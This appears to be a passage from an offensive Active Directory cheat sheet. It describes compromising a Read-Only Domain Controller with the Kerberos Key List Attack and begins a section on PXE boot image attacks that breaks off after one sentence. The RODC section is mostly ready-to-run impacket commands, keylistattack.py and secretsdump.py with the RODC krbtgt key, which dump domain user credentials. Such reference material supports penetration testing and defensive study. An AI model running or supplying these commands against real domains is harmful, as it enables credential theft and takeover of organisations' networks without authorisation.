### RODC - Read Only Domain Controller Compromise
> If the user is included in the **Allowed RODC Password Replication**, their credentials are stored in the server, and the **msDS-RevealedList** attribute of the RODC is populated with the username.
**Requirements**:
* [Impacket PR #1210 - The Kerberos Key List Attack](https://github.com/SecureAuthCorp/impacket/pull/1210)
* **krbtgt** credentials of the RODC (-rodcKey)
* **ID of the krbtgt** account of the RODC (-rodcNo)
**Exploitation**:
```ps1
# keylistattack.py using SAMR user enumeration without filtering (-full flag)
keylistattack.py DOMAIN/user:password@host -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXXXXXXX -full
# keylistattack.py defining a target username (-t flag)
keylistattack.py -kdc sever.domain.local -t user -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXXXXXXX LIST
# secretsdump.py using the Kerberos Key List Attack option (-use-keylist)
secretsdump.py DOMAIN/user:password@host -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXXXXXXX -use-keylist
```
### PXE Boot image attack
PXE allows a workstation to boot from the network by retrieving an operating system image from a server using TFTP (Trivial FTP) protocol. This boot over the network allows an attacker to fetch the image and interact with it.
